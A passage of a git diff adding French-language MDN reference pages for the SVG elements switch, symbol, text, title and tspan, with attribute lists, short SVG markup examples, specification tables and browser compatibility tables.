+  - SVG Conteneur
+translation_of: Web/SVG/Element/switch
+---
+<div>{{SVGRef}}</div>
+
+<p>L'élément <code>switch</code> évalue les attributs {{ SVGAttr("requiredFeatures") }}, {{ SVGAttr("requiredExtensions") }} et {{ SVGAttr("systemLanguage") }} de ses éléments enfants directs, dans l'ordre, puis affiche le premier élément pour lequel les attributs renvoient <code>true</code>. Tous les autres seront ignorés et donc non affichés. Si l'élément enfant est un élément conteneur tel que {{ SVGElement("g") }}, alors l'intégralité du contenu de cet enfant est soit traité/rendu soit ignoré/non rendu.</p>
+
+<p>Notez que la valeur des propriétés <code>display</code> et <code>visibility</code> n'ont aucun effet sur le traitement du <code>switch</code>. En particulier, appliquer une propriété <code>display</code> à <code>none</code> sur l'élément enfant d'un <code>switch</code> n'a aucun effet sur le résultat du test <code>true/false</code> associé au traitement des éléments par le <code>switch</code>.</p>
+
+<h2 id="Contexte_d'utilisation">Contexte d'utilisation</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<h3 id="Attributs_globaux">Attributs globaux</h3>
+
+<ul>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_traitement_conditionnel" title="en/SVG/Attribute#ConditionalProccessing">Attributs de traitement conditionnel</a></li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_base" title="en/SVG/Attribute#Core">Attributs de base</a></li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Événement_graphiques" title="en/SVG/Attribute#GraphicalEvent">Attributs d'événements graphiques</a></li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_présentation" title="en/SVG/Attribute#Presentation">Attributs de présentation</a></li>
+ <li>{{ SVGAttr("class") }}</li>
+ <li>{{ SVGAttr("style") }}</li>
+ <li>{{ SVGAttr("externalResourcesRequired") }}</li>
+ <li>{{ SVGAttr("transform") }}</li>
+</ul>
+
+<h2 id="Interface_DOM">Interface DOM</h2>
+
+<p>Cet élément implémente l'interface <code><a href="/en-US/docs/DOM/SVGSwitchElement" title="en/DOM/SVGSwitchElement">SVGSwitchElement</a></code>.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Cet exemple montre comment afficher un texte différent selon les paramètres de langue du navigateur. L'élément <code>switch</code> affichera le premier élément enfant dont l'attribut <code>systemLanguage</code> correspond au language de l'utilisateur, ou l'élément sans attribut <code>systemLanguage</code> si aucun ne correspond.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;svg width="100%" viewBox="0 -20 100 50"&gt;
+   &lt;switch&gt;
+      &lt;text systemLanguage="ar"&gt;مرحبا&lt;/text&gt;
+      &lt;text systemLanguage="de,nl"&gt;Hallo!&lt;/text&gt;
+      &lt;text systemLanguage="en"&gt;Hello!&lt;/text&gt;
+      &lt;text systemLanguage="en-us"&gt;Howdy!&lt;/text&gt;
+      &lt;text systemLanguage="en-gb"&gt;Wotcha!&lt;/text&gt;
+      &lt;text systemLanguage="en-au"&gt;G'day!&lt;/text&gt;
+      &lt;text systemLanguage="es"&gt;Hola!&lt;/text&gt;
+      &lt;text systemLanguage="fr"&gt;Bonjour!&lt;/text&gt;
+      &lt;text systemLanguage="ja"&gt;こんにちは&lt;/text&gt;
+      &lt;text systemLanguage="ru"&gt;Привет!&lt;/text&gt;
+      &lt;text&gt;☺&lt;/text&gt;
+   &lt;/switch&gt;
+&lt;/svg&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{ EmbedLiveSample('Exemple') }}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('SVG2', 'struct.html#SwitchElement', '&lt;switch&gt;')}}</td>
+   <td>{{Spec2('SVG2')}}</td>
+   <td>Clarifie l'évaluation de l'attribut {{SVGAttr("systemLanguage")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'struct.html#SwitchElement', '&lt;switch&gt;')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("svg.elements.switch")}}</p>
diff --git a/files/fr/web/svg/element/symbol/index.html b/files/fr/web/svg/element/symbol/index.html
new file mode 100644
index 0000000000..3dca13813d
--- /dev/null
+++ b/files/fr/web/svg/element/symbol/index.html
@@ -0,0 +1,119 @@
+---
+title: <symbol>
+slug: Web/SVG/Element/symbol
+tags:
+  - SVG
+  - SVG Conteneur
+translation_of: Web/SVG/Element/symbol
+---
+<div>{{SVGRef}}</div>
+
+<p>L'élément <strong><code>&lt;symbol&gt;</code></strong> est utilisé pour définir un template de graphique pouvant être instancié par un élément {{SVGElement("use")}}.</p>
+
+<p>L'utilisation d'éléments <code>symbol</code> pour les graphiques qui sont utilisés de multiples fois dans le même document permet d'améliorer la structure et la sémantique du document. Les documents fortement structurés peuvent plus facilement être rendus sous forme graphique, vocale, ou Braille, et ainsi favoriser leur accessibilité.</p>
+
+<div id="Exemple">
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 80 20" xmlns="http://www.w3.org/2000/svg"
+     xmlns:xlink="http://www.w3.org/1999/xlink"&gt;
+  &lt;!-- Notre symbol a son propre système de coordonnées --&gt;
+  &lt;symbol id="myDot" width="10" height="10" viewBox="0 0 2 2"&gt;
+    &lt;circle cx="1" cy="1" r="1" /&gt;
+  &lt;/symbol&gt;
+
+   &lt;!-- Une grille pour matérialiser le positionnement du symbole --&gt;
+  &lt;path d="M0,10 h80 M10,0 v20 M25,0 v20 M40,0 v20 M55,0 v20 M70,0 v20" fill="none" stroke="pink" /&gt;
+
+  &lt;!-- Multiples instances de notre symbole --&gt;
+  &lt;use xlink:href="#myDot" x="5"  y="5" style="opacity:1.0" /&gt;
+  &lt;use xlink:href="#myDot" x="20" y="5" style="opacity:0.8" /&gt;
+  &lt;use xlink:href="#myDot" x="35" y="5" style="opacity:0.6" /&gt;
+  &lt;use xlink:href="#myDot" x="50" y="5" style="opacity:0.4" /&gt;
+  &lt;use xlink:href="#myDot" x="65" y="5" style="opacity:0.2" /&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('Exemple', 150, '100%')}}</p>
+</div>
+
+<h2 id="Attributs">Attributs</h2>
+
+<dl>
+ <dt>{{SVGAttr("height")}}</dt>
+ <dd>Cet attribut détermine la hauteur du symbole.<br>
+ <small><em>Type de valeur</em>: <a href="/docs/Web/SVG/Content_type#Length"><strong>&lt;length&gt;</strong></a>|<a href="/docs/Web/SVG/Content_type#Percentage"><strong>&lt;percentage&gt;</strong></a> ; <em>Valeur par défaut</em>: <code>auto</code>; <em>Animation</em>: <strong>oui</strong></small></dd>
+ <dt>{{SVGAttr("preserveAspectRatio")}}</dt>
+ <dd>Cet attribut définit comment le fragment svg doit être déformé s'il est inclus dans un conteneur ayant un ratio d'affichage (largeur:hauteur) différent.<br>
+ <small><em>Type de valeur</em>: (<code>none</code>| <code>xMinYMin</code>| <code>xMidYMin</code>| <code>xMaxYMin</code>| <code>xMinYMid</code>| <code>xMidYMid</code>| <code>xMaxYMid</code>| <code>xMinYMax</code>| <code>xMidYMax</code>| <code>xMaxYMax</code>) (<code>meet</code>|<code>slice</code>)? ; <em>Valeur par défaut</em>: <code>xMidYMid meet</code>; <em>Animation</em>: <strong>oui</strong></small></dd>
+ <dt>{{SVGAttr("refX")}}</dt>
+ <dd>Cet attribut détermine la coordonnée x du point de référence du symbole.<br>
+ <small><em>Type de valeur</em>: <a href="/docs/Web/SVG/Content_type#Length"><strong>&lt;length&gt;</strong></a>|<a href="/docs/Web/SVG/Content_type#Percentage"><strong>&lt;percentage&gt;</strong></a>|<code>left</code>|<code>center</code>|<code>right</code> ; <em>Valeur par défaut</em>: <code>0</code>; <em>Animation</em>: <strong>oui</strong></small></dd>
+ <dt>{{SVGAttr("refY")}}</dt>
+ <dd>Cet attribut détermine la coordonnée y du point de référence du symbole.<br>
+ <small><em>Type de valeur</em>: <a href="/docs/Web/SVG/Content_type#Length"><strong>&lt;length&gt;</strong></a>|<a href="/docs/Web/SVG/Content_type#Percentage"><strong>&lt;percentage&gt;</strong></a>|<code>top</code>|<code>center</code>|<code>bottom</code> ; <em>Valeur par défaut</em>: <code>0</code>; <em>Animation</em>: <strong>oui</strong></small></dd>
+ <dt>{{SVGAttr("viewBox")}}</dt>
+ <dd>Cet attribut définit les limites de la zone d'affichage du symbole.<br>
+ <small><em>Type de valeur</em>: <strong><a href="/docs/Web/SVG/Content_type#List-of-Ts">&lt;list-of-numbers&gt;</a></strong> ; <em>Valeur par défaut</em>: aucune; <em>Animation</em>: <strong>oui</strong></small></dd>
+ <dt>{{SVGAttr("width")}}</dt>
+ <dd>Cet attribut définit la largeur du symbole.<br>
+ <small><em>Type de valeur</em>: <a href="/docs/Web/SVG/Content_type#Length"><strong>&lt;length&gt;</strong></a>|<a href="/docs/Web/SVG/Content_type#Percentage"><strong>&lt;percentage&gt;</strong></a> ; <em>Valeur par défaut</em>: <code>auto</code>; <em>Animation</em>: <strong>oui</strong></small></dd>
+ <dt>{{SVGAttr("x")}}</dt>
+ <dd>Cet attribut détermine la coordonnée x du symbole.<br>
+ <small><em>Type de valeur</em>: <a href="/docs/Web/SVG/Content_type#Length"><strong>&lt;length&gt;</strong></a>|<a href="/docs/Web/SVG/Content_type#Percentage"><strong>&lt;percentage&gt;</strong></a> ; <em>Valeur par défaut</em>: <code>0</code>; <em>Animation</em>: <strong>oui</strong></small></dd>
+ <dt>{{SVGAttr("y")}}</dt>
+ <dd>Cet attribut détermine la coordonnée y du symbole.<br>
+ <small><em>Type de valeur</em>: <a href="/docs/Web/SVG/Content_type#Length"><strong>&lt;length&gt;</strong></a>|<a href="/docs/Web/SVG/Content_type#Percentage"><strong>&lt;percentage&gt;</strong></a> ; <em>Valeur par défaut</em>: <code>0</code>; <em>Animation</em>: <strong>oui</strong></small></dd>
+</dl>
+
+<h3 id="Attributs_globaux">Attributs globaux</h3>
+
+<dl>
+ <dt><a href="/fr/docs/Web/SVG/Attribute/Core">Attributs de base</a></dt>
+ <dd><small>Notamment: {{SVGAttr('id')}}</small></dd>
+ <dt><a href="/fr/docs/Web/SVG/Attribute/Styling">Attributs de style</a></dt>
+ <dd><small>{{SVGAttr('class')}}, {{SVGAttr('style')}}</small></dd>
+ <dt>Attributs d'événement</dt>
+ <dd><small><a href="/fr/docs/Web/SVG/Attribute/Events#Attributs_d'événement_globaux">Attributs d'événement globaux</a>, <a href="/fr/docs/Web/SVG/Attribute/Events#Attributs_d'événement_des_éléments_du_document">Attributs d'événement des éléments du document</a>,<a href="/fr/docs/Web/SVG/Attribute/Events#Attributs_d'événement_graphiques"> Attributs d'événement graphiques</a></small></dd>
+ <dt><a href="/fr/docs/Web/SVG/Attribute/Presentation">Atttributs de présentation</a></dt>
+ <dd><small>Notamment: {{SVGAttr('clip-path')}}, {{SVGAttr('clip-rule')}}, {{SVGAttr('color')}}, {{SVGAttr('color-interpolation')}}, {{SVGAttr('color-rendering')}}, {{SVGAttr('cursor')}}, {{SVGAttr('display')}}, {{SVGAttr('fill')}}, {{SVGAttr('fill-opacity')}}, {{SVGAttr('fill-rule')}}, {{SVGAttr('filter')}}, {{SVGAttr('mask')}}, {{SVGAttr('opacity')}}, {{SVGAttr('pointer-events')}}, {{SVGAttr('shape-rendering')}}, {{SVGAttr('stroke')}}, {{SVGAttr('stroke-dasharray')}}, {{SVGAttr('stroke-dashoffset')}}, {{SVGAttr('stroke-linecap')}}, {{SVGAttr('stroke-linejoin')}}, {{SVGAttr('stroke-miterlimit')}}, {{SVGAttr('stroke-opacity')}}, {{SVGAttr('stroke-width')}}, {{SVGAttr("transform")}}, {{SVGAttr('vector-effect')}}, {{SVGAttr('visibility')}}</small></dd>
+ <dt>Attributs Aria</dt>
+ <dd><small><code>aria-activedescendant</code>, <code>aria-atomic</code>, <code>aria-autocomplete</code>, <code>aria-busy</code>, <code>aria-checked</code>, <code>aria-colcount</code>, <code>aria-colindex</code>, <code>aria-colspan</code>, <code>aria-controls</code>, <code>aria-current</code>, <code>aria-describedby</code>, <code>aria-details</code>, <code>aria-disabled</code>, <code>aria-dropeffect</code>, <code>aria-errormessage</code>, <code>aria-expanded</code>, <code>aria-flowto</code>, <code>aria-grabbed</code>, <code>aria-haspopup</code>, <code>aria-hidden</code>, <code>aria-invalid</code>, <code>aria-keyshortcuts</code>, <code>aria-label</code>, <code>aria-labelledby</code>, <code>aria-level</code>, <code>aria-live</code>, <code>aria-modal</code>, <code>aria-multiline</code>, <code>aria-multiselectable</code>, <code>aria-orientation</code>, <code>aria-owns</code>, <code>aria-placeholder</code>, <code>aria-posinset</code>, <code>aria-pressed</code>, <code>aria-readonly</code>, <code>aria-relevant</code>, <code>aria-required</code>, <code>aria-roledescription</code>, <code>aria-rowcount</code>, <code>aria-rowindex</code>, <code>aria-rowspan</code>, <code>aria-selected</code>, <code>aria-setsize</code>, <code>aria-sort</code>, <code>aria-valuemax</code>, <code>aria-valuemin</code>, <code>aria-valuenow</code>, <code>aria-valuetext</code>, <code>role</code></small></dd>
+</dl>
+
+<h2 id="Notes_d'utilisation">Notes d'utilisation</h2>
+
+<p>{{svginfo}}</p>
+
+<p class="note"><strong>Note:</strong> Un élément <code>&lt;symbol&gt;</code> n'est pas destiné à être affiché par lui-même. Seules les instances d'un élément <code>&lt;symbol&gt;</code> (c'est à dire une référence vers un <code>&lt;symbol&gt;</code> par un élément {{SVGElement("use")}}) sont affichées. Cela signifie que certains navigateurs peuvent refuser d'afficher directement un élément <code>&lt;symbol&gt;</code> quand bien même la propriété CSS {{cssxref('display')}} indique le contraire.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('SVG2', 'struct.html#SymbolElement', '&lt;symbol&gt;')}}</td>
+   <td>{{Spec2('SVG2')}}</td>
+   <td>Permet aux propriétés de géométrie d'être spécifiées sur un symbole</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'struct.html#SymbolElement', '&lt;symbol&gt;')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("svg.elements.symbol")}}</p>
diff --git a/files/fr/web/svg/element/text/index.html b/files/fr/web/svg/element/text/index.html
new file mode 100644
index 0000000000..1cbf5fe96a
--- /dev/null
+++ b/files/fr/web/svg/element/text/index.html
@@ -0,0 +1,159 @@
+---
+title: text
+slug: Web/SVG/Element/text
+tags:
+  - Element
+  - Reference
+  - SVG
+  - SVG contenu de texte
+translation_of: Web/SVG/Element/text
+---
+<div>{{SVGRef}}{{Draft("Cette version n'est pas à jour relativement à la version anglaise de référence, merci d'en tenir compte.")}}</div>
+
+<p>L'élément SVG <code>text</code> définit un élément graphique contenant du texte. Notez  qu'il est possible d'y appliquer un dégradé, un motif, un tracé spécifique (clipping path), un masque ou un filtre.</p>
+
+<p>Si du texte est écrit dans le SVG sans être intégré dans un balise &lt;text&gt;, il ne sera pas affiché. Le texte n'est pas <em>caché </em>par défaut, la propriété display ne le montre simplement pas.</p>
+
+<h2 id="Contexte_d'utilisation">Contexte d'utilisation</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: xml">&lt;?xml version="1.0"?&gt;
+&lt;svg xmlns="http://www.w3.org/2000/svg"
+     width="100px" height="30px" viewBox="0 0 1000 300"&gt;
+
+  &lt;text x="250" y="150"
+        font-family="Verdana"
+        font-size="55"&gt;
+    Bonjour tout le monde!
+  &lt;/text&gt;
+
+  &lt;!-- Dessine le contour de l'image --&gt;
+  &lt;rect x="1" y="1" width="998" height="298"
+        fill="none" stroke-width="2" /&gt;
+&lt;/svg&gt;
+</pre>
+
+<p>L'élément &lt;text&gt; est utilisé pour dessiner des caractères de texte. L'exemple de code suivant écrit un text svg à l'aide de coordonnées x/y.</p>
+
+<pre class="brush: xml">&lt;svg xmlns="http://www.w3.org/2000/svg" width="100px" height="50px"&gt;
+  &lt;text x="10" y="20"&gt;SVG Text Example&lt;/text&gt;
+&lt;/svg&gt;
+</pre>
+
+<p>Le texte en SVG peut être pivoté. L'exemple de code suivant démontre la rotation de texte à l'aide de l'attribut transform.</p>
+
+<pre class="brush: xml">&lt;svg xmlns="http://www.w3.org/2000/svg" width="100px" height="50px"&gt;
+  &lt;text x="10"  y="20"
+        transform="rotate(30 20,40)"&gt;
+    SVG Text Rotation example
+  &lt;/text&gt;
+&lt;/svg&gt;
+</pre>
+
+<p>Le texte SVG peut également être stylisé avec du CSS contenant les propriétés SVG.</p>
+
+<pre class="brush: xml">&lt;svg xmlns="http://www.w3.org/2000/svg" width="100px" height="50px"&gt;
+  &lt;text x="10"  y="20"
+        style="font-family: Times New Roman;
+               font-size  : 24;
+               stroke     : #00ff00;
+               fill       : #0000ff;"&gt;
+    SVG text styling
+  &lt;/text&gt;
+&lt;/svg&gt;
+</pre>
+
+<h2 id="Attributs">Attributs</h2>
+
+<h3 id="Attributs_globaux">Attributs globaux</h3>
+
+<ul>
+ <li><a href="/en/SVG/Attribute#ConditionalProccessing" title="en/SVG/Attribute#ConditionalProccessing">Conditional processing attributes</a> »</li>
+ <li><a href="/en/SVG/Attribute#Core" title="en/SVG/Attribute#Core">Core attributes</a> »</li>
+ <li><a href="/en/SVG/Attribute#GraphicalEvent" title="en/SVG/Attribute#GraphicalEvent">Graphical event attributes</a> »</li>
+ <li><a href="/en/SVG/Attribute#Presentation" title="en/SVG/Attribute#Presentation">Presentation attributes</a> »</li>
+ <li>{{ SVGAttr("class") }}</li>
+ <li>{{ SVGAttr("style") }}</li>
+ <li>{{ SVGAttr("externalResourcesRequired") }}</li>
+ <li>{{ SVGAttr("transform") }}</li>
+</ul>
+
+<h3 id="Attributs_spécifiques">Attributs spécifiques</h3>
+
+<ul>
+ <li>{{ SVGAttr("x") }}</li>
+ <li>{{ SVGAttr("y") }}</li>
+ <li>{{ SVGAttr("dx") }}</li>
+ <li>{{ SVGAttr("dy") }}</li>
+ <li>{{ SVGAttr("text-anchor") }}</li>
+ <li>{{ SVGAttr("rotate") }}</li>
+ <li>{{ SVGAttr("textLength") }}</li>
+ <li>{{ SVGAttr("lengthAdjust") }}</li>
+</ul>
+
+<h2 id="Interface_DOM">Interface DOM</h2>
+
+<p>Cet élément implémente l'interface <code><a href="/en/DOM/SVGTextElement" title="en/DOM/SVGTextElement">SVGTextElement</a></code>.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>PC</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>IE</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{ CompatChrome('1.0') }}</td>
+   <td>{{ CompatGeckoDesktop('1.8') }}</td>
+   <td>{{ CompatIE('9.0') }}</td>
+   <td>{{ CompatOpera('8.0') }}</td>
+   <td>{{ CompatSafari('3.0.4') }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Mobile</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{ CompatAndroid('3.0') }}</td>
+   <td>{{ CompatGeckoMobile('1.8') }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatSafari('3.0.4') }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>Le tableau se base sur <a href="/en/SVG/Compatibility_sources" title="en/SVG/Compatibility sources">ces sources</a>.</p>
+
+<h2 id="Articles_liés">Articles liés</h2>
+
+<ul>
+ <li>{{ SVGElement("tspan") }}</li>
+ <li>{{ SVGElement("tref") }}</li>
+ <li>{{ SVGElement("altGlyph") }}</li>
+</ul>
diff --git a/files/fr/web/svg/element/title/index.html b/files/fr/web/svg/element/title/index.html
new file mode 100644
index 0000000000..c9c6b2638c
--- /dev/null
+++ b/files/fr/web/svg/element/title/index.html
@@ -0,0 +1,86 @@
+---
+title: title
+slug: Web/SVG/Element/title
+tags:
+  - Element
+  - Reference
+  - SVG
+  - SVG Description
+translation_of: Web/SVG/Element/title
+---
+<div>{{SVGRef}}</div>
+
+<p>Tout élément graphique ou conteneur dans un dessin SVG peut définir un titre en utilisant un élément <strong><code style="font-style: normal;">&lt;title&gt;</code></strong>, ce titre ne peut contenir que du texte.</p>
+
+<p>Quand l'élément contenant un titre apparaît à l'utilisateur sous forme d'image, l'élément <code>&lt;title&gt;</code> n'est pas affiché. Néanmoins, quelques moteurs de rendu peuvent, par exemple, l'afficher sous forme d'infobulle. Des représentations alternatives sont possibles, visuelles ou auditives, en renplacement des éléments graphiques. De manière générale, cet élément améliore l'accessibilité des documents SVG.</p>
+
+<p>L'élément <code>&lt;title&gt;</code> est souvent le premier enfant de son parent. Notons que les implémentations qui rendent l'élément title en infobulle ne le font que s'il est à cette place.</p>
+
+<h2 id="Contexte_d'utilisation">Contexte d'utilisation</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<h3 id="Attributs_globaux">Attributs globaux</h3>
+
+<ul>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_base" title="en/SVG/Attribute#Core">Attributs de base</a> »</li>
+ <li>{{ SVGAttr("class") }}</li>
+ <li>{{ SVGAttr("style") }}</li>
+</ul>
+
+<h3 id="Attributs_spécifiques">Attributs spécifiques</h3>
+
+<p><em>(Aucun)</em></p>
+
+<h2 id="Interface_DOM">Interface DOM</h2>
+
+<p>Cet élément implémente l'interface <code><a href="/fr/docs/Web/API/SVGTitleElement" title="en/DOM/SVGTitleElement">SVGTitleElement</a></code>.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: html">&lt;svg width="220" height="70" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;title&gt;SVG Title Demo example&lt;/title&gt;
+  &lt;rect x="10" y="10" width="200" height="50"
+    style="fill:wheat; stroke:blue; stroke-width:1px"&gt;
+&lt;/svg&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('Exemple', '100%', 100) }}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('SVG2', 'struct.html#TitleElement', '&lt;title&gt;')}}</td>
+   <td>{{Spec2('SVG2')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'struct.html#DescriptionAndTitleElements', '&lt;title&gt;')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("svg.elements.title")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{ SVGElement("desc") }}</li>
+</ul>
diff --git a/files/fr/web/svg/element/tspan/index.html b/files/fr/web/svg/element/tspan/index.html
new file mode 100644
index 0000000000..f380e18ae9
--- /dev/null
+++ b/files/fr/web/svg/element/tspan/index.html
@@ -0,0 +1,135 @@
+---
+title: <tspan>
+slug: Web/SVG/Element/tspan
+tags:
+  - Contenu texte SVG
+  - Elément(3)
+  - Référence(2)
+  - SVG
+translation_of: Web/SVG/Element/tspan
+---
+<div>{{SVGRef}}</div>
+
+<p>A l'intérieur d'un élément {{SVGElement("text")}}, les propriétés du texte et des polices, ainsi que la position actuelle du texte, peuvent être ajustées de façon absolue ou relative à partir des coodonnées précisées dans un élément <code>tspan</code>.</p>
+
+<h2 id="Contexte_d'utilisation">Contexte d'utilisation</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>» <a href="https://developer.mozilla.org/files/3338/tspan.svg">tspan.svg</a></p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<h3 id="Attributs_globaux">Attributs globaux</h3>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/SVG/Attribute#ConditionalProccessing" title="SVG/Attribute#ConditionalProccessing">Attributs de traitement conditionnel</a> »</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/SVG/Attribute#Core" title="SVG/Attribute#Core">Attributs de base</a> »</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/SVG/Attribute#GraphicalEvent" title="SVG/Attribute#GraphicalEvent">Attributs d'évènements graphiques</a> »</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/SVG/Attribute#Presentation" title="SVG/Attribute#Presentation">Attributs de présentation</a> »</li>
+ <li>{{SVGAttr("class")}}</li>
+ <li>{{SVGAttr("style")}}</li>
+ <li>{{SVGAttr("externalResourcesRequired")}}</li>
+</ul>
+
+<h3 id="Specific_attributes">Specific attributes</h3>
+
+<ul>
+ <li>{{SVGAttr("x")}}</li>
+ <li>{{SVGAttr("y")}}</li>
+ <li>{{SVGAttr("dx")}}</li>
+ <li>{{SVGAttr("dy")}}</li>
+ <li>{{SVGAttr("rotate")}}</li>
+ <li>{{SVGAttr("textLength")}}</li>
+ <li>{{SVGAttr("lengthAdjust")}}</li>
+</ul>
+
+<h2 id="Interface_DOM">Interface DOM</h2>
+
+<p>Cet élément implémente l'interface <code><a href="/en-US/docs/Web/API/SVGTSpanElement">SVGTSpanElement</a></code>.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('SVG2', 'text.html#TextElement', '&lt;tspan&gt;')}}</td>
+   <td>{{Spec2('SVG2')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'text.html#TSpanElement', '&lt;tspan&gt;')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Définition originale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>IE</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop('1.8')}}<sup>[1]</sup></td>
+   <td>{{CompatIE('9.0')}}</td>
+   <td>{{CompatOpera('9.0')}}</td>
+   <td>{{CompatSafari('3.0.4')}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatAndroid('3.0')}}</td>
+   <td>{{CompatGeckoMobile('1.8')}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatSafari('3.0.4')}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>Le tableau est basé sur<a href="/en-US/docs/Web/SVG/Compatibility_sources"> ces sources</a>.</p>
+
+<p>[1] Certains attributs de présentation ne fonctionnent pas. L'attribut <code>rotate</code> a été implémenté dans Gecko 2.0 {{geckoRelease("2.0")}}.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{SVGElement("text")}}</li>
+</ul>
